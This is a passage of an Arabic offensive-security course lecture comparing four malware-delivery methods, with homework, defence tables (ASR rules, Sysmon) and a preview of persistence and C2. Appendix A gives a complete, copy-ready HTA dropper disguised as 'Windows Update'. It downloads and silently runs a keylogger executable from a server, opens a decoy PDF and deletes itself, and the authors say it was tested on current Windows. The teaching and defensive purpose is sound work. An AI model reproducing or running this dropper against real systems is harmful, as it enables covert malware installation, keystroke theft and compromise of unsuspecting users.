🧪 لماذا لم نجعل هذه هي الطريقة الأصليّة في القسم 8؟ تسع خطوات نصب + مستخدم PAM + شهادة (لو أردت TLS حقيقياً) + قاعدة بيانات = طبقات كثيرة يمكن أن تفشل في أيّ نقطة. الدرس الذي يُعلَّم في الفصل هو تسليم HTA وتنفيذه على الضحية، لا هندسة نظام البريد. Mailpit يزيح كلّ هذا الوعاء ويترك الحدث الهجومي وحده على المسرح. من يريد التجربة "الأحقّ" — هذا الملحق له.

القسم 9القسم 9: مقارنة الطرق الأربع

المعيارA: PDFB: BinderC: StegoD: HTA
يحتاج ثغرة؟نعملالالا
يعمل على Win11 24H2؟لانعمنعمنعم
يحتاج compilation؟لا (msf)نعم (C++)نعم (C++)لا
حجم الحمولة النهائية~180 KB~200 KB~2-3 MB~2 KB
SmartScreen يحذّر؟لا (PDF)نعمنعم (عند تشغيل loader)يعتمد
Defender يكشف؟نعم (بصمة قديمة)أحياناأحيانا (عند التشغيل)أحيانا (ML)
أثر على القرص؟PDF فقطEXE واحدصورة + EXE loaderلا (HTA يحذف نفسه)
كم نقرة يحتاج؟1 (PDF)2 (PDF + Run)2 (loader + PDF)1 (HTA)
استخدام APT حديث؟منقرضشائعمتوسطشائع جدا

متى تختار كل طريق؟

الإجابة الحقيقية: لا تختار طريقا واحدا. المهاجم الحقيقي يستخدم عدة طرق بالتوازي.

الهدفأفضل طريقلماذا
فهم exploit شرعي كاملA: PDFيعلّم كل شيء من overflow إلى shellcode
واقعية 2026 مع Win11 مصححB أو Dبلا ثغرة، يعمل
تعلّم الخداع الاجتماعيB: Binderالأيقونة والامتداد المزدوج ورؤية الضحية
فهم إخفاء البياناتC: Steganographyيوسع مفهوم القنوات المخفية
فهم بيئة الدفاع الحديثةD: HTA + LOLBinsيعرف الطالب لماذا SmartScreen لا يكفي
الأسرع للإعدادD: HTAملف نصي واحد، بلا compilation

خريطة الدفاع

الطبقةABCD
Patch Managementنعملالالا
Antivirus (Signatures)أحياناأحياناأحياناأحيانا
EDR سلوكينعمنعمنعمنعم
SmartScreenلاأحياناأحيانايعتمد
Application Whitelistingلانعمنعمنعم
ASR Rulesلاأحياناأحيانانعم
Sysmon + SIEMنعمنعمنعمنعم
Awareness Trainingأحيانانعمنعمنعم

الخلاصة: لا توجد طبقة واحدة تكشف الأربعة بشكل مطلق. الجواب الوحيد الشامل: تطبيق Defense in Depth، Patch + EDR + Whitelisting + ASR + Sysmon + Training معا.

✅ اختبر نفسك: القسم 9

  1. من الطرق الأربع، أيّها لا تترك ملفّاً تنفيذيّاً بنيتَه أنت؟ وما أثر ذلك على الكشف؟
  2. رتّب الطرق الأربع من الأسهل إلى الأصعب من ناحية البناء، ثم رتّبها من الأسهل إلى الأصعب من ناحية الكشف. هل الترتيبان متطابقان؟ ماذا يعني ذلك؟
  3. لو منعت مؤسّسة mshta.exe تماماً، أي من الطرق الأربع تبقى صالحة؟
  4. أيّ طريقة تختار لو كان هدفك جهازاً محدَّثاً بالكامل مع EDR؟ ولماذا؟

3/4 صحيحة = تابع. أقلّ = أعد قراءة جدول المقارنة.


القسم 10القسم 10: الواجب المنزلي ومقدمة للمحاضرة القادمة

الواجب: سبع مهام

  1. ابن التكرارات الستة كاملة. لا تكتف بالتكرار السادس. نفّذ 01-hello.hta ثم 02 وهكذا.
  2. غيّر الحمولة من keylogger إلى شيء آخر (مثلا: PowerShell script يجمع سجل الأوامر).
  3. جرّب تسليم LNK. استخدم PowerShell CreateShortcut من القسم 5. قارن تجربة المستخدم مع .hta المباشر.
  4. راقب Sysmon Events. ثبّت Sysmon مع الإعداد من القسم 6. شغّل التكرار 5. اكتشف كم حدثا وُلد.
  5. جرّب تفعيل ASR rule D3E037E1. شغّل التفعيل، ثم كرّر التكرار 5. هل نجح؟
  6. ابحث عن sample HTA حقيقي على https://bazaar.abuse.ch، حمّل عينة قديمة، حللها.
  7. اكتب تقريرا صفحة واحدة: إذا كنت مدير أمن معلومات في شركة صغيرة (250 موظف، ميزانية محدودة)، ما أهم ثلاث تدابير تتخذها لمنع الطريق D؟ لا تقل "E5 license".

المحاضرة القادمة: Persistence و C2

المحاضرة 3 أوصلت الحمولة، والتكرار 5 شغّلها. لكن:

  • إذا أعاد الضحية تشغيل الجهاز، الـ Keylogger يختفي.
  • المهاجم لا يستطيع إرسال أوامر جديدة.
  • الاتصال بالـ Attacker لم يتصلّب.

= نحتاج Persistence + C2.

سنبني في المحاضرة 4:

  • Persistence Techniques: Registry Run keys، Scheduled Tasks، Services، WMI Event Subscriptions.
  • C2 Frameworks: نظرة على Sliver, Havoc. بناء C2 بسيط بـ C++.
  • تجنّب الكشف: Domain Fronting، DNS Tunneling، Sleep + Jitter.

استعداد للمحاضرة القادمة:

  1. راجع Windows Registry، HKCU vs HKLM، مسارات Run.
  2. راجع Windows Services، sc.exe, services.msc.
  3. اقرأ MITRE ATT&CK TA0003 (Persistence)، 20 تقنية موثقة.

ملحق أ: payload.hta الكامل (التكرار 6 مرة أخرى للراحة)

هذا هو الملف النهائي القابل للنسخ بضغطة واحدة، مع كل التحسينات وإصلاح الأخطاء:

html
<!--
  payload.hta — Lecture 3 lab deliverable
  Educational use only. Isolated VMnet2 lab environment.
-->
<html>
<head>
  <title>Windows Update</title>
  <HTA:APPLICATION
      ID="objHTA"
      APPLICATIONNAME="WindowsUpdateAgent"
      BORDER="none"
      SCROLL="no"
      SHOWINTASKBAR="no"
      SINGLEINSTANCE="yes"
      WINDOWSTATE="minimize" />

  <script language="JScript">
    // ── CONFIG ────────────────────────────────────────────────
    var C2_URL      = "http://10.10.10.10:8000/keylogger_edu.exe";
    var DECOY_URL   = "http://10.10.10.10:8000/Q4-report.pdf";
    var DROP_DIR    = "%APPDATA%\\Microsoft\\Windows\\Update";
    var DROP_NAME   = "wmupdate.exe";
    var DECOY_LOCAL = "%TEMP%\\Q4-report.pdf";

    // ── HELPERS ───────────────────────────────────────────────
    function shellExpand(p) {
      return new ActiveXObject("WScript.Shell")
             .ExpandEnvironmentStrings(p);
    }

    function ensureDir(path) {
      var fso = new ActiveXObject("Scripting.FileSystemObject");
      var parts = path.split("\\");
      var cur = parts[0];
      for (var i = 1; i < parts.length; i++) {
        cur += "\\" + parts[i];
        if (cur.length > 3 && !fso.FolderExists(cur)) {
          try { fso.CreateFolder(cur); } catch(e) {}
        }
      }
    }

    function download(url, out) {
      var http = new ActiveXObject("MSXML2.XMLHTTP.6.0");
      http.open("GET", url, false);
      http.send();
      if (http.status != 200) return false;
      var stream = new ActiveXObject("ADODB.Stream");
      stream.Type = 1;             // binary — MUST be set before Open()
      stream.Open();
      stream.Write(http.responseBody);
      stream.SaveToFile(out, 2);   // 2 = adSaveCreateOverWrite
      stream.Close();
      return true;
    }

    function runHidden(cmd) {
      new ActiveXObject("WScript.Shell").Run(cmd, 0, false);
    }

    function selfDelete() {
      // Some mshta builds return "/C:/Users/x/file.hta" (URL-style),
      // others return "C:\Users\x\file.hta" (Windows-style) — handle both.
      var raw = decodeURIComponent(location.pathname);
      if (raw.charAt(0) === "/") raw = raw.substring(1);
      var me = raw.replace(/\//g, "\\");
      // cmd /c "..." — single quotes around the path.
      // cmd /c strips the first " and the last " of the line before running
      // the rest, so the inner "PATH" survives intact and del handles spaces.
      var cmd = 'cmd.exe /c "timeout /t 2 /nobreak >nul & del "'
              + me + '""';
      runHidden(cmd);
    }

    // ── MAIN ──────────────────────────────────────────────────
    window.onload = function() {
      var sh        = new ActiveXObject("WScript.Shell");
      var decoyPath = sh.ExpandEnvironmentStrings(DECOY_LOCAL);
      var dropDir   = sh.ExpandEnvironmentStrings(DROP_DIR);
      var payload   = dropDir + "\\" + DROP_NAME;

      // (1) Decoy PDF — visible to user
      if (download(DECOY_URL, decoyPath)) {
        sh.Run('"' + decoyPath + '"', 1, false);
      }

      // (2) Real payload — hidden
      ensureDir(dropDir);
      if (download(C2_URL, payload)) {
        runHidden('"' + payload + '"');
      }

      // (3) Clean up
      selfDelete();
      window.close();
    };
  </script>
</head>
<body></body>
</html>

ملحق د: مراجع ASR والمصادر

قائمة ASR الكاملة المتعلقة بمسار HTA/mshta

GUIDالاسمالتأثير
BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550Block executable content from email client and webmailالأقوى ضدنا
D3E037E1-3EB8-44C8-A917-57927947596DBlock JS/VBS from launching downloaded executable contentيمنع تشغيل wmupdate.exe
5BEB7EFE-FD9A-4556-801D-275E5FFC04CCBlock execution of potentially obfuscated scriptsAMSI-based
3B576869-A4EC-4529-8536-B80A7769E899Block Office apps from creating executable contentضد Office → HTA drop
D4F940AB-401B-4EFC-AADC-AD5F3C50688ABlock all Office apps from creating child processesضد Office → mshta
92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7BBlock Win32 API calls from Office macrosضد macro → ShellExecute
7674BA52-37EB-4A4F-A9A1-F0F9A1619A2CBlock Adobe Reader from creating child processesضد PDF → mshta
01443614-CD74-433A-B99E-2ECDC07BFC25Block executable files from running unless meet criteriaقاعدة سمعة مايكروسوفت

المصادر الرئيسية

المصدرالرابطلماذا يهم
LOLBAS Projecthttps://lolbas-project.github.io/قائمة رسمية بكل LOLBins مع أمثلة
MS Learn: ASR Rules Referencehttps://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-referenceGUIDs، أوصاف، حالات افتراضية
MITRE ATT&CK T1218.005 (Mshta)https://attack.mitre.org/techniques/T1218/005/توثيق التقنية + مجموعات تستخدمها
Mandiant M-Trends 2024https://cloud.google.com/security/resources/m-trendsتقرير سنوي عن APTs
SwiftOnSecurity Sysmon Confighttps://github.com/SwiftOnSecurity/sysmon-configقواعد كشف جاهزة مع تركيز على LOLBins
Malware Bazaar HTA sampleshttps://bazaar.abuse.ch/browse/tag/hta/عينات حقيقية للتحليل
Microsoft MC1266905https://mc.merill.net/message/MC1266905التوصية الجديدة 2026 لحجب mshta outbound
Kaspersky: SideWinder 2024https://securelist.com/sidewinder-apt-updates-its-toolset-and-targets-nuclear-sector/115847/الحملة البحرية والنووية
The Hacker News: Kimsuky 2025https://thehackernews.com/2025/02/north-korean-apt-kimsuky-uses-lnk-files.htmlKimJongRAT tax lure

قيود معروفة (شفافية للطالب)

قبل أن تعتمد على الكود في اختبار حقيقي، اعرف حدوده:

  • selfDelete يعمل مع مسارات محلية فقط. إن فُتح الـ HTA من UNC path (\\server\share\x.hta) فـ location.pathname يعطي /share/x.hta والحذف يستهدف مسارا خاطئا. حل: انقل الملف محليا قبل التنفيذ.
  • ADODB.Stream.SaveToFile لا يضع Zone.Identifier. فرصة كشف مفقودة على المهاجم، لكن EDR سلوكي يرى الكتابة والتشغيل معا. للمدافع: راقب WriteFile من mshta.exe مباشرة.
  • python3 -m http.server --bind 10.10.10.10 يعمل فقط إذا 10.10.10.10 معيّن فعلا على واجهة WSL. مع WSL2 الافتراضي (NAT) لن يعمل، تحتاج بيئة VMnet2 من المحاضرة 2.
  • ensureDir لا يدعم مسارات UNC أو مسارات بادئتها \\?\. يعمل مع %APPDATA% عادي فقط.
  • pylnk3 API يختلف بين النسخ. لهذا وضعنا PowerShell CreateShortcut كخيار أول.

الكلمة الأخيرة

التقنيات التي تعلّمتها هنا حقيقية وتعمل اليوم (أغسطس 2026). استخدمها لبناء دفاع أفضل، لا لهجوم لا تملك إذنه. تعلّم الطريق حتى تستطيع إغلاقه، هذا هو الفرق بين ذكاء المهاجم و دهاء المدافع.


سجل الأخطاء التي أُصلحت في هذه النسخة (Markdown) مقابل نسخة PDF

#الخطأالإصلاح
1swaks --attach ~/lab/...: بلا @، swaks يعامل الوسيط كنص حرفي (يرسل مرفقا نصيا محتواه مسار الملف)أضفنا @: --attach @~/lab/...
2Sysmon config: الشروط تحت groupRelation="or" بلا <Rule groupRelation="and">: كل شرط منفرد يُطلق التنبيه (ضجيج هائل)كل زوج مقصود ملفوف في <Rule groupRelation="and">
3Sysmon config: %TEMP% و %APPDATA%: Sysmon لا يوسّع متغيرات البيئة، يقارن نصيااستبدلنا بمسارات صريحة \AppData\Local\Temp\, C:\Windows\Temp\ إلخ
4selfDelete بنى الأمر بلا اقتباس حول المسار، ثم محاولة إصلاح لاحقة استخدمت "" (تكرار الاقتباس) بافتراض أنّه المعيار في cmd /c — اختُبر ولا يعمل مع مسار فيه مسافةالحلّ الصحيح: اقتباس واحد حول المسار (del "PATH") واعتماد قاعدة cmd /c في إزالة " الأوّل والأخير من السطر. اختُبر مع مسار بلا مسافات ومسار فيه مسافة، الملف يُحذف في الحالتين
5location.pathname يعطي مسارا بـ /أضفنا .replace(/\//g, "\\") قبل تمريره لـ del
6مثال pylnk3: API متغير بين النسخ، pip install قد يفشل على Ubuntu 23.04+ بلا --break-system-packagesجعلنا PowerShell CreateShortcut الخيار الرئيسي (يعمل من صندوق Windows بلا تثبيت)
7shell.Run("...", 0, true) في مثال ActiveX: يجمّد نافذة الـ HTAغيّرنا إلى false مع تعليق يوضّح القاعدة داخل HTA
8فقرات كثيفة تخلط عربية + مصطلحات إنجليزية كثيرة في سطر واحد: القارئ يحتار في اتجاه القراءةكل فقرة كثيفة قُسّمت إلى: عنوان مستقل + سطر أو سطرين قصيرين + قائمة نقطية للمصطلحات: كل سطر يُقرأ باتجاه واحد واضح
9شرح مختصر لكل كود: قارئ مبتدئ لا يفهم لماذا MSXML2.XMLHTTP.6.0 وليس MSXML2.XMLHTTP، ولا معنى ADODB.Stream.Type=1، ولا الفرق بين waitOnReturn=true و false، ولا لماذا SW_HIDE + CREATE_NO_WINDOW + DETACHED_PROCESS معاأضفنا 4 مراجع تفصيلية باللغة العربية: (1) HTA/JScript بعد القسم 4 يشرح كل تكرار وما الجديد فيه، ثم مرجع شامل لكل خصائص HTA:APPLICATION وكل كائن ActiveX وكل قيمة عَلَم؛ (2) طرق التوصيل بعد القسم 5 يشرح كل flag من swaks و PowerShell CreateShortcut وكل خاصية IWshShortcut؛ (3) الدفاع بعد القسم 6 يشرح كل GUID من ASR، بنية Sysmon XML الكاملة، وأنماط Wacatac وكيف يفسّرها المحلل؛ (4) المعمل بعد القسم 8 يشرح كل flag من swaks و python http.server و PowerShell verification
10لا يوجد إثبات أن الكود يعمل: طالب يقرأ ويشكقسم "تحقق الكود" في بداية المستند يوثّق ما اختبرناه فعلا: JScript syntax لكل التكرارات في node، LNK creation في PowerShell (1965 bytes، خصائص مقروءة)، Sysmon XML بـ xml.etree (7 قواعد كلها AND-2)، ASR cmdlets موجودة والـ GUIDs الستة كلها [Guid]::Parse() صالحة، decoy PDF مولّد بـ reportlab (1629 bytes)، http.server يخدم فعلا (curl 200)، swaks --attach @ صيغة صحيحة تأكدت من الوثائق الرسمية
11لم نختبر التنفيذ الفعلي على Windows: طالب يظن الحمولة تعمل بلا احتكاكشغّلنا فعلا على Windows 11 24H2 مع Defender الافتراضي. النتائج مذهلة: HTA basic يعمل (iter 1 + iter 3 صنع CalculatorApp بـ parent PID = mshta)، mshta → GUI EXE (notepad, calc) يعمل، لكن mshta → cmd/powershell/wscript محجوب بصمت بـ Defender Behavior Monitor. لا سجل مرئي، ثلاث محاولات مختلفة كلها فشلت. SMTP + attachment .hta سلّمنا نجاح كامل مقابل catcher محلي. قسم جديد "اختبارات تشغيل حقيقية" يوثّق كل شيء